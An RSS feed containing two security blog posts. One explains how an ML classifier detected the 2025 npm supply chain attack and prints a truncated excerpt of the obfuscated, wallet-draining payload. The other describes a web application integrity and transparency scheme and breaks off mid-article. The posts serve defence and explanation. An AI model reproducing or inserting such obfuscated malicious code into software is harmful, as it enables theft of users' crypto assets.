
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Mon, 06 Apr 2026 12:02:43 GMT</lastBuildDate>
        <item>
            <title><![CDATA[How Cloudflare’s client-side security made the npm supply chain attack a non-event]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/</link>
            <pubDate>Fri, 24 Oct 2025 17:10:43 GMT</pubDate>
            <description><![CDATA[ A recent npm supply chain attack compromised 18 popular packages. This post explains how Cloudflare’s graph-based machine learning model, which analyzes 3.5 billion scripts daily, was built to detect and block exactly this kind of threat automatically. ]]></description>
            <content:encoded><![CDATA[ <p>In early September 2025, attackers used a phishing email to compromise one or more trusted maintainer accounts on npm. They used this to publish malicious releases of 18 widely used npm packages (for example chalk, debug, ansi-styles) that account for more than <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>2 billion downloads per week</u></a>. Websites and applications that used these compromised packages were vulnerable to hackers stealing crypto assets (“crypto stealing” or “wallet draining”) from end users. In addition, compromised packages could also modify other packages owned by the same maintainers (using stolen npm tokens) and included code to <a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"><u>steal developer tokens for CI/CD pipelines and cloud accounts</u></a>.</p><p>As it relates to end users of your applications, the good news is that Cloudflare<a href="https://www.cloudflare.com/application-services/products/page-shield/"><u> Page Shield, our client-side security offering</u></a> will detect compromised JavaScript libraries and prevent crypto-stealing. More importantly, given the AI powering Cloudflare’s detection solutions, customers are protected from similar attacks in the future, as we explain below.</p>
            <pre><code>export default {
 aliceblue: [240, 248, 255],
 …
 yellow: [255, 255, 0],
 yellowgreen: [154, 205, 50]
}


const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …
</code></pre>
            <p><sub><i>Excerpt from the injected malicious payload, along with the rest of the innocuous normal code.</i></sub><sub> </sub><sub><i>Among other things, the payload replaces legitimate crypto addresses with attacker’s addresses (for multiple currencies, including bitcoin, ethereum, solana).</i></sub></p>
    <div>
      <h2>Finding needles in a 3.5 billion script haystack</h2>
      <a href="#finding-needles-in-a-3-5-billion-script-haystack">
        
      </a>
    </div>
    <p>Everyday, Cloudflare Page Shield assesses 3.5 billion scripts per day or 40,000 scripts per second. Of these, less than 0.3% are malicious, based on our machine learning (ML)-based malicious script detection. As explained in a prior <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#ai-inference-at-scale"><u>blog post</u></a>, we preprocess JavaScript code into an <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>Abstract Syntax Tree</u></a> to train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that classifies a given JavaScript file as either malicious or benign. </p><p>The intuition behind using a graph-based model is to use both the structure (e.g. function calling, assertions) and code text to learn hacker patterns. For example, in the npm compromise, the <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>malicious code</u></a> injected in compromised packages uses code obfuscation and also modifies code entry points for crypto wallet interfaces, such as Ethereum’s window.ethereum, to swap payment destinations to accounts in the attacker’s control. Crucially, rather than engineering such behaviors as features, the model learns to distinguish between good and bad code purely from structure and syntax. As a result, it is resilient to techniques used not just in the npm compromise but also future compromise techniques. </p><p>Our ML model outputs the probability that a script is malicious which is then transformed into a score ranging from 1 to 99, with low scores indicating likely malicious and high scores indicating benign scripts. Importantly, like many Cloudflare ML models, inferencing happens in under 0.3 seconds. </p>
    <div>
      <h2>Model Evaluation</h2>
      <a href="#model-evaluation">
        
      </a>
    </div>
    <p>Since the initial launch, our JavaScript classifiers are constantly being evolved to optimize model evaluation metrics, in this case, <a href="https://en.wikipedia.org/wiki/Precision_and_recall"><u>F1 measure</u></a>. Our current metrics are </p><table><tr><th><p><b>Metric</b></p></th><th><p><b>Latest: Version 2.7</b></p></th><th><p><b>Improvement over prior version</b></p></th></tr><tr><td><p>Precision</p></td><td><p>98%</p></td><td><p>5%</p></td></tr><tr><td><p>Recall</p></td><td><p>90%</p></td><td><p>233%</p></td></tr><tr><td><p>F1</p></td><td><p>94%</p></td><td><p>123%</p></td></tr></table><p>Some of the improvements were accomplished through:</p><ul><li><p>More training examples, curated from a combination of open source datasets, security partners, and labeling of Cloudflare traffic</p></li><li><p>Better training examples, for instance, by removing samples with pure comments in them or scripts with nearly equal structure</p></li><li><p>Better training set stratification, so that training, validation and test sets all have similar distribution of classes of interest</p></li><li><p>Tweaking the evaluation criteria to maximize recall with 99% precision</p></li></ul><p>Given the confusion matrix, we should expect about 2 false positives per second, if we assume ~0.3% of the 40,000 scripts per second are flagged as malicious. We employ multiple LLMs alongside expert human security analysts to review such scripts around the clock. Most False Positives we encounter in this way are rather challenging. For example, scripts that read all form inputs except credit card numbers (e.g. reject input values that test true using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm"><u>Luhn algorithm</u></a>), injecting dynamic scripts, heavy user tracking, heavy deobfuscation, etc. User tracking scripts often exhibit a combination of these behaviors, and the only reliable way to distinguish truly malicious payloads is by assessing the trustworthiness of their connected domains. We feed all newly labeled scripts back into our ML training (&amp; testing) pipeline.</p><p>Most importantly, we verified that Cloudflare Page Shield would have successfully detected all 18 compromised npm packages as malicious (a novel attack, thus, not in the training data)..</p>
    <div>
      <h2>Planned improvements</h2>
      <a href="#planned-improvements">
        
      </a>
    </div>
    <p>Static script analysis has proven effective and is sometimes the only viable approach (e.g., for npm packages). To address more challenging cases, we are enhancing our ML signals with contextual data including script URLs, page hosts, and connected domains. Modern Agentic AI approaches can wrap JavaScript runtimes as tools in an overall AI workflow. Then, they can enable a hybrid approach that combines static and dynamic analysis techniques to tackle challenging false positive scenarios, such as user tracking scripts.</p>
    <div>
      <h3>Consolidating classifiers</h3>
      <a href="#consolidating-classifiers">
        
      </a>
    </div>
    <p><a href="https://blog.cloudflare.com/detecting-magecart-style-attacks-for-pageshield/"><u>Over 3 years ago</u></a> we launched our classifier, “<a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>Code Behaviour Analysis</u></a>” for Magecart-style scripts that learns  code obfuscation and data exfiltration behaviors. Subsequently, we also deployed our <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> based approach that can also classify <a href="https://blog.cloudflare.com/navigating-the-maze-of-magecart/"><u>Magecart attacks</u></a>. Given the efficacy of the MPGCN-based malicious code analysis, we are announcing the end-of-life of <a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>code behaviour analysis</u></a> by the end of 2025. </p>
    <div>
      <h2>Staying safe always</h2>
      <a href="#staying-safe-always">
        
      </a>
    </div>
    <p>In the npm attack, we did not see any activity in the Cloudflare network related to this compromise among Page Shield users, though for other exploits, we catch its traffic within minutes. In this case, patches of the compromised npm packages were released in 2 hours or less, and given that the infected payloads had to be built into end user facing applications for end user impact, we suspect that our customers dodged the proverbial bullet. That said, had traffic gotten through, Page Shield was already equipped to detect and block this threat.</p><p>Also make sure to consult our <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Page Shield Script detection</u></a> to find malicious packages. Consult the Connections tab within Page Shield to view suspicious connections made by your applications.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6rMXJZVWEu6LkupOPY2pOB/0740a085fa2a64de3cff148fc29ad328/BLOG-3052_2.png" />
          </figure><p><sub><i>Several scripts are marked as malicious. </i></sub></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1oj2WALUAurKuu2XYTdKPm/fe8a564f10888e656c2510bc2a91dd6f/BLOG-3052_3.png" />
          </figure><p><sub><i>Several connections are marked as malicious. </i></sub></p><p>
And be sure to complete the following steps:</p><ol><li><p><b>Audit your dependency tree</b> for recently published versions (check package-lock.json / npm ls) and look for versions published around early–mid September 2025 of widely used packages. </p></li><li><p><b>Rotate any credentials</b> that may have been exposed to your build environment.</p></li><li><p><b>Revoke and reissue CI/CD tokens and service keys</b> that might have been used in build <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">pipelines</a> (GitHub Actions, npm tokens, cloud credentials).</p></li><li><p><b>Pin dependencies</b> to known-good versions (or use lockfiles), and consider using a package allowlist / verified publisher features from your registry provider.</p></li><li><p><b>Scan build logs and repos for suspicious commits/GitHub Actions changes</b> and remove any unknown webhooks or workflows.</p></li></ol><p>While vigilance is key, automated defenses provide a crucial layer of protection against fast-moving supply chain attacks. Interested in better understanding your client-side supply chain? Sign up for our free, custom <a href="https://www.cloudflare.com/lp/client-side-risk-assessment/"><u>Client-Side Risk Assessment</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">1DRrVAPmyZYyz2avWuwYZ4</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Denzil Correa</dc:creator>
            <dc:creator>Israel Adura</dc:creator>
            <dc:creator>Georgie Yoxall</dc:creator>
        </item>
        <item>
            <title><![CDATA[Improving the trustworthiness of Javascript on the Web]]></title>
            <link>https://blog.cloudflare.com/improving-the-trustworthiness-of-javascript-on-the-web/</link>
            <pubDate>Thu, 16 Oct 2025 14:00:00 GMT</pubDate>
            <description><![CDATA[ There's no way to audit a site’s client-side code as it changes, making it hard to trust sites that use cryptography. We preview a specification we co-authored that adds auditability to the web. ]]></description>
            <content:encoded><![CDATA[ <p>The web is the most powerful application platform in existence. As long as you have the <a href="https://developer.mozilla.org/en-US/docs/Web/API"><u>right API</u></a>, you can safely run anything you want in a browser.</p><p>Well… anything but cryptography.</p><p>It is as true today as it was in 2011 that <a href="https://web.archive.org/web/20200731144044/https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2011/august/javascript-cryptography-considered-harmful/"><u>Javascript cryptography is Considered Harmful</u></a>. The main problem is code distribution. Consider an end-to-end-encrypted messaging web application. The application generates <a href="https://www.cloudflare.com/learning/ssl/what-is-a-cryptographic-key/"><u>cryptographic keys</u></a> in the client’s browser that lets users view and send <a href="https://en.wikipedia.org/wiki/End-to-end_encryption"><u>end-to-end encrypted</u></a> messages to each other. If the application is compromised, what would stop the malicious actor from simply modifying their Javascript to exfiltrate messages?</p><p>It is interesting to note that smartphone apps don’t have this issue. This is because app stores do a lot of heavy lifting to provide security for the app ecosystem. Specifically, they provide <b>integrity</b>, ensuring that apps being delivered are not tampered with, <b>consistency</b>, ensuring all users get the same app, and <b>transparency</b>, ensuring that the record of versions of an app is truthful and publicly visible.</p><p>It would be nice if we could get these properties for our end-to-end encrypted web application, and the web as a whole, without requiring a single central authority like an app store. Further, such a system would benefit all in-browser uses of cryptography, not just end-to-end-encrypted apps. For example, many web-based confidential <a href="https://www.cloudflare.com/learning/ai/what-is-large-language-model/"><u>LLMs</u></a>, cryptocurrency wallets, and voting systems use in-browser Javascript cryptography for the last step of their verification chains.</p><p>In this post, we will provide an early look at such a system, called <a href="https://github.com/beurdouche/explainers/blob/main/waict-explainer.md"><u>Web Application Integrity, Consistency, and Transparency</u></a> (WAICT) that we have helped author. WAICT is a <a href="https://www.w3.org/"><u>W3C</u></a>-backed effort among browser vendors, cloud providers, and encrypted communication developers to bring stronger security guarantees to the entire web. We will discuss the problem we need to solve, and build up to a solution resembling the <a href="https://github.com/rozbb/draft-waict-transparency"><u>current transparency specification draft</u></a>. We hope to build even wider consensus on the solution design in the near future.</p>
    <div>
      <h2>Defining the Web Application</h2>
      <a href="#defining-the-web-application">
        
      </a>
    </div>
    <p>In order to talk about security guarantees of a web application, it is first necessary to define precisely what the application <i>is</i>. A smartphone application is essentially just a zip file. But a website is made up of interlinked assets, including HTML, Javascript, WASM, and CSS, that can each be locally or externally hosted. Further, if any asset changes, it could drastically change the functioning of the application. A coherent definition of an application thus requires the application to commit to precisely the assets it loads. This is done using integrity features, which we describe now.</p>
    <div>
      <h3>Subresource Integrity</h3>
      <a href="#subresource-integrity">
        
      </a>
    </div>
    <p>An important building block for defining a single coherent application is <b>subresource integrity</b> (SRI). SRI is a feature built into most browsers that permits a website to specify the cryptographic hash of external resources, e.g.,</p>
            <pre><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.13.7/underscore-min.js" integrity="sha512-dvWGkLATSdw5qWb2qozZBRKJ80Omy2YN/aF3wTUVC5+D1eqbA+TjWpPpoj8vorK5xGLMa2ZqIeWCpDZP/+pQGQ=="&gt;&lt;/script&gt;</code></pre>
            <p>This causes the browser to fetch <code>underscore.js</code> from <code>cdnjs.cloudflare.com</code> and verify that its SHA-512 hash matches the given hash in the tag. If they match, the script is loaded. If not, an error is thrown and nothing is executed.</p><p>If every external script, stylesheet, etc. on a page comes with an SRI integrity attribute, then the whole page is defined by just its HTML. This is close to what we want, but a web application can consist of many pages, and there is no way for a page to enforce the hash of the pages it links to.</p>
    <div>
      <h3>Integrity Manifest</h3>
      <a href="#integrity-manifest">
        
      </a>
    </div>
    <p>We would like to have a way of enforcing integrity on an entire site, i.e., every asset under a domain. For this, WAICT defines an <b>integrity manifest</b>, a configuration file that websites can provide to clients. One important item in the manifest is the <b>asset hashes dictionary</b>, mapping a hash belonging to an asset that the browser might load from that domain, to the path of that asset. Assets that may occur at any path, e.g., an error page, map to the empty string:</p>
            <pre><code>"hashes": {
"81db308d0df59b74d4a9bd25c546f25ec0fdb15a8d6d530c07a89344ae8eeb02": "/assets/js/main.js",
"fbd1d07879e672fd4557a2fa1bb2e435d88eac072f8903020a18672d5eddfb7c": "/index.html",
"5e737a67c38189a01f73040b06b4a0393b7ea71c86cf73744914bbb0cf0062eb": "/vendored/main.css",
"684ad58287ff2d085927cb1544c7d685ace897b6b25d33e46d2ec46a355b1f0e": "",
"f802517f1b2406e308599ca6f4c02d2ae28bb53ff2a5dbcddb538391cb6ad56a": ""
}
</code></pre>
            <p>The other main component of the manifest is the <b>integrity policy</b>, which tells the browser which data types are being enforced and how strictly. For example, the policy in the manifest below will:</p><ol><li><p>Reject any script before running it, if it’s missing an SRI tag and doesn’t appear in the hashes</p></li><li><p>Reject any WASM possibly after running it, if it’s missing an SRI tag and doesn’t appear in hashes</p></li></ol>
            <pre><code>"integrity-policy": "blocked-destinations=(script), checked-destinations=(wasm)"</code></pre>
            <p>Put together, these make up the integrity manifest:</p>
            <pre><code>"manifest": {
  "version": 1,
  "integrity-policy": ...,
  "hashes": ...,
}
</code></pre>
            <p>Thus, when both SRI and integrity manifests are used, the entire site and its interpretation by the browser is uniquely determined by the hash of the integrity manifest. This is exactly what we wanted. We have distilled the problem of endowing authenticity, consistent distribution, etc. to a web application to one of endowing the same properties to a single hash.</p>
    <div>
      <h2>Achieving Transparency</h2>
      <a href="#achieving-transparency">
        
      </a>
    </div>
    <p>Recall, a transparent web application is one whose code is stored in a publicly accessible, append-only log. This is helpful in two ways: 1) if a user is served malicious code and they learn about it, there is a public record of the code they ran, and so they can prove it to external parties, and 2) if a user is served malicious code and they don’t learn about it, there is still a chance that an external auditor may comb through the historical web application code and find the malicious code anyway. Of course, transparency does not help detect malicious code or even prevent its distribution, but it at least makes it <i>publicly auditable</i>.</p><p>Now that we have a single hash that commits to an entire website’s contents, we can talk about ensuring that that hash ends up in a public log. We have several important requirements here:</p><ol><li><p><b>Do not break existing sites.</b> This one is a given. Whatever system gets deployed, it should not interfere with the correct functioning of existing websites. Participation in transparency should be strictly opt-in.</p></li><li><p><b>No added round trips.</b> Transparency should not cause extra network round trips between the client and the server. Otherwise there will be a network latency penalty for users who want transparency.</p></li><li><p><b>User privacy.</b> A user should not have to identify themselves to any party more than they already do. That means no connections to new third parties, and no sending identifying information to the website.</p></li><li><p><b>User statelessness.</b> A user should not have to store site-specific data. We do not want solutions that rely on storing or gossipping per-site cryptographic information.</p></li><li><p><b>Non-centralization.</b> There should not be a single point of failure in the system—if any single party experiences downtime, the system should still be able to make progress. Similarly, there should be no single point of trust—if a user distrusts any single party, the user should still receive all the security benefits of the system.</p></li><li><p><b>Ease of opt-in.</b> The barrier of entry for transparency should be as low as possible. A site operator should be able to start logging their site cheaply and without being an expert.</p></li><li><p><b>Ease of opt-out.</b> It should be easy for a website to stop participating in transparency. Further, to avoid accidental lock-in like the <a href="https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning#Criticism_and_decline"><u>defunct HPKP spec</u></a>, it should be possible for this to happen even if all cryptographic material is lost, e.g., in the seizure or selling of a domain.</p></li><li><p><b>Opt-out is transparent.</b> As described before, because transparency is optional, it is possible for an attacker to disable the site’s transparency, serve malicious content, then enable transparency again. We must make sure this kind of attack is detectable, i.e., the act of disabling transparency must itself be logged somewhere.</p></li><li><p><b>Monitorability.</b> A website operator should be able to efficiently monitor the transparency information being published about their website. In particular, they should not have to run a high-network-load, always-on program just to notify them if their site has been hijacked.</p></li></ol><p>With these requirements in place, we can move on to construction. We introduce a data structure that will be essential to the design.</p>
    <div>
      <h3>Hash Chain</h3>
      <a href="#hash-chain">
        
      </a>
    </div>
    <p>Almost everything in transparency is an append-only log, i.e., a data structure that acts like a list and has the ability to produce an <b>inclusion proof</b>, i.e., a proof that an element occurs at a particular index in the list; and a <b>consistency proof</b>, i.e., a proof that a list is an extension of a previous version of the list. A consistency proof between two lists demonstrates that no elements were modified or deleted, only added.</p><p>The simplest possible append-only log is a <b>hash chain</b>, a list-like data structure wherein each subsequent element is hashed into the running <i>chain hash</i>. The final chain hash is a succinct representation of the entire list.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5nVcIeoKTYEd0hydT9jdpj/fd90a78cba46c1893058a7ff40a42fac/BLOG-2875_2.png" />
          </figure><p><sub>A hash chain. The green nodes represent the </sub><sub><i>chain hash</i></sub><sub>, i.e., the hash of the element below it, concatenated with the previous chain hash. </sub></p><p>The proof structures are quite simple. To prove inclusion of the element at index i, the prover provides the chain hash before <code>i</code>, and all the elements after <code>i</code>:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7tYbCRVVTV3osE3lWs8YjG/be76d6022420ffa3d78b0180ef69bb1a/BLOG-2875_3.png" />
          </figure><p><sub>Proof of inclusion for the second element in the hash chain. The verifier knows only the final chain hash. It checks equality of the final computed chain hash with the known final chain hash. The light green nodes represent hashes that the verifier computes. </sub></p><p>Similarly, to prove consistency between the chains of size i and j, the prover provides the elements between i and j:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/rR4DMJIVxNxePI6DARtFD/e9da2930043864a4add3a74b699535d6/BLOG-2875_4.png" />
          </figure><p><sub>Proof of consistency of the chain of size one and chain of size three. The verifier has the chain hashes from the starting and ending chains. It checks equality of the final computed chain hash with the known ending chain hash. The light green nodes represent hashes that the verifier computes. </sub></p>
    <div>
      <h3>Building Transparency</h3>
      <a href="#building-transparency">
        
      </a>
    </div>
    <p>We can use hash chains to build a transparency scheme for websites.</p>
    <div>
      <h4>Per-Site Logs</h4>
      <a href="#per-site-logs">
        
      </a>
    </div>
    <p>As a first step, let’s give every site its own log, instantiated as a hash chain (we will discuss how these all come together into one big log later). The items of the log are just the manifest of the site at a particular point in time:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/35o9mKoVPkOExKRFHRgWTu/305d589e0a584a3200670aab5b060c2b/BLOG-2875_5.png" />
          </figure><p><sub>A site’s hash chain-based log, containing three historical manifests. </sub></p><p>In reality, the log does not store the manifest itself, but the manifest hash. Sites designate an <b>asset host</b> that knows how to map hashes to the data they reference. This is a content-addressable storage backend, and can be implemented using strongly cached static hosting solutions.</p><p>A log on its own is not very trustworthy. Whoever runs the log can add and remove elements at will and then recompute the hash chain. To maintain the append-only-ness of the chain, we designate a trusted third party, called a <b>witness</b>. Given a hash chain consistency proof and a new chain hash, a witness:</p><ol><li><p>Verifies the consistency proof with respect to its old stored chain hash, and the new provided chain hash.</p></li><li><p>If successful, signs the new chain hash along with a signature timestamp.</p></li></ol><p>Now, when a user navigates to a website with transparency enabled, the sequence of events is:</p><ol><li><p>The site serves its manifest, an inclusion proof showing that the manifest appears in the log, and all the signatures from all the witnesses who have validated the log chain hash.</p></li><li><p>The browser verifies the signatures from whichever witnesses it trusts.</p></li><li><p>The browser verifies the inclusion proof. The manifest must be the newest entry in the chain (we discuss how to serve old manifests later).</p></li><li><p>The browser proceeds with the usual manifest and SRI integrity checks.</p></li></ol><p>At this point, the user knows that the given manifest has been recorded in a log whose chain hash has been saved by a trustworthy witness, so they can be reasonably sure that the manifest won’t be removed from history. Further, assuming the asset host functions correctly, the user knows that a copy of all the received code is readily available.</p><p><b>The need to signal transparency.</b> The above algorithm works, but we have a problem: if an attacker takes control of a site, they can simply stop serving transparency information and thus implicitly disable transparency without detection. So we need an explicit mechanism that keeps track of every website that has enrolled into transparency.</p>
    <div>
      <h3>The Transparency Service</h3>
      <a href="#the-transparency-service">
        
      </a>
    </div>
    <p>To store all the sites enrolled into transparency, we want a global data structure that maps a site domain to the site log’s chain hash. One efficient way of representing this is a <b>prefix tree</b> (a.k.a., a <i>trie</i>). Every leaf in the tree corresponds to a site’s domain, and its value is the chain hash of that site’s log, the current log size, and the site’s asset host URL. For a site to prove validity of its transparency data, it will have to present an inclusion proof for its leaf. Fortunately, these proofs are efficient for prefix trees.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/26ieMXRdvWIhLKv6J6Cdd7/29814a4a51c8ca8e3279e9b5756d0c67/BLOG-2875_6.png" />
          </figure><p><sub>A prefix tree with four elements. Each leaf’s path corresponds to a domain. Each leaf’s value is the chain hash of its site’s log. </sub></p><p>To add itself to the tree, a site proves possession of its domain to the <b>transparency service</b>, i.e., the party that operates the prefix tree, and provides an asset host URL. To update the entry, the site sends the new entry to the transparency service, which will compute the new chain hash. And to unenroll from transparency, the site just requests to have its entry removed from the tree (an adversary can do this too; we discuss how to detect this below).</p>
    <div>
      <h4>Proving to Witnesses and Browsers</h4>
      <a href="#proving-to-witnesses-and-browsers">
        
      </a>
    </div>
    <p>Now witnesses only need to look at the prefix tree instead of individual site logs, and thus they must verify whole-tree updates. The most important thing to ensure is that every site’s log is append-only. So whenever the tree is updated, it must produce a “proof” containing every new/deleted/modified entry, as well as a consistency proof for each entry showing that the site log corresponding to that entry has been properly appended to. Once the witness has verified this prefix tree update proof, it signs the root.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2bq4UBxoOgKPcysPPxnKD8/9e8c2a8a3b092fffae853b8d477efb07/BLOG-2875_7.png" />
          </figure><p><sub>The sequence of updating a site’s assets and serving the site with transparency enabled.</sub></p><p>The client-side verification procedure is as in the previous section, with two modifications:</p><ol><li><p>The client now verifies two inclusion proofs: one for the integrity policy’s membership in the site log, and one for the site log’s membership in a prefix tree.</p></li><li><p>The client verifies the signature over the prefix tree root, since the witness no longer signs individual chain hashes. As before, the acceptable public keys are whichever witnesses the client trusts.</p></li></ol><p><b>Signaling transparency.</b> Now that there is a single source of truth, namely the prefix tree, a client can know a site is enrolled in transparency by simply fetching the site’s entry in the tree. This alone would work, but it violates our requirement of “no added round trips,” so we instead require that client browsers will ship with the list of sites included in the prefix tree. We call this the <b>transparency preload list</b>. </p><p>If a site appears in the preload list, the browser will expect it to provide an inclusion proof in the prefix tree, or else a proof of non-inclusion in a newer version of the prefix tree, thereby showing they’ve unenrolled. The site must provide one of these proofs until the last preload list it appears in has expired. Finally, even though the preload list is derived from the prefix tree, there is nothing enforcing this relationship. Thus, the preload list should also be published transparently.</p>
    <div>
      <h4>Filling in Missing Properties</h4>
      <a href="#filling-in-missing-properties">
        
      </a>
    </div>
    <p>Remember we still have the requirements of monitorability, opt-out being transparent, and no single point of failure/trust. We fill in those details now.</p><p><b>Adding monitorability.</b> So far, in order for a site operator to ensure their site was not hijacked, they would have to constantly query every transparency service for its domain and verify that it hasn’t been tampered with. This is certainly better than the <a href="https://ct.cloudflare.com/"><u>500k events per hour</u></a> that CT monitors have to ingest, but it still requires the monitor to be constantly polling the prefix tree, and it imposes a constant load for the transparency service.</p><p>We add a field to the prefix tree leaf structure: the leaf now stores a “created” timestamp, containing the time the leaf was created. Witnesses ensure that the “created” field remains the same over all leaf updates (and it is deleted when the leaf is deleted). To monitor, a site operator need only keep the last observed “created” and “log size” fields of its leaf. If it fetches the latest leaf and sees both unchanged, it knows that no changes occurred since the last check.</p><p><b>Adding transparency of opt-out.</b> We must also do the same thing as above for leaf deletions. When a leaf is deleted, a monitor should be able to learn when the deletion occurred within some reasonable time frame. Thus, rather than outright removing a leaf, the transparency service responds to unenrollment requests by replacing the leaf with a <b>tombstone</b> value, containing just a “created” timestamp. As before, witnesses ensure that this field remains unchanged until the leaf is permanently deleted (after some visibility period) or re-enrolled.</p><p><b>Permitting multiple transparency services.</b> Since we require that there be no single point of failure or trust, we imagine an ecosystem where there are a handful of non-colluding, reasonably trustworthy transparency service providers, each with their own prefix tree. Like Certificate Transparency (CT), this set should not be too large. It must be small enough that reasonable levels of trust can be established, and so that independent auditors can reasonably handle the load of verifying all of them.</p><p>Ok that’s the end of the most technical part of this post. We’re now going to talk about how to tweak this system to provide all kinds of additional nice properties.</p>
    <div>
      <h2>(Not) Achieving Consistency</h2>
      <a href="#not-achieving-consistency">
        
      </a>
    </div>
    <p>Transparency would be useless if, every time a site updates, it serves 100,000 new versions of itself. Any auditor would have to go through every single version of the code in order to ensure no user was targeted with malware. This is bad even if the velocity of versions is lower. If a site publishes just one new version per week, but every version from the past ten years is still servable, then users can still be served extremely old, potentially vulnerable versions of the site, without anyone knowing. Thus, in order to make transparency valuable, we need <b>consistency</b>, the property that every browser sees the same version of the site at a given time.</p><p>We will not achieve the strongest version of consistency, but it turns out that weaker notions are sufficient for us. If, unlike the above scenario, a site had 8 valid versions of itself at a given time, then that would be pretty manageable for an auditor. So even though it’s true that users don’t all see the same version of the site, they will all still benefit from transparency, as desired.</p><p>We describe two types of inconsistency and how we mitigate them.</p>
    <div>
      <h3>Tree Inconsistency</h3>
      <a href="#tree-inconsistency">
        
      </a>
    </div>
    <p>Tree inconsistency occurs when transparency services’ prefix trees disagree on the chain hash of a site, thus disagreeing on the history of the site. One way to fully eliminate this is to establish a consensus mechanism for prefix trees. A simple one is majority voting: if there are five transparency services, a site must present three tree inclusion proofs to a user, showing the chain hash is present in three trees. This, of course, triples the tree inclusion proof size, and lowers the fault tolerance of the entire system (if three log operators go down, then no transparent site can publish any updates).</p><p>Instead of consensus, we opt to simply limit the amount of inconsistency by limiting the number of transparency services. In 2025, Chrome <a href="https://www.gstatic.com/ct/log_list/v3/log_list.json"><u>trusts</u></a> eight Certificate Transparency logs. A similar number of transparency services would be fine for our system. Plus, it is still possible to detect and prove the existence of inconsistencies between trees, since roots are signed by witnesses. So if it becomes the norm to use the same version on all trees, then social pressure can be applied when sites violate this.</p>
    <div>
      <h3>Temporal Inconsistency</h3>
      <a href="#temporal-inconsistency">
        
      </a>
    </div>
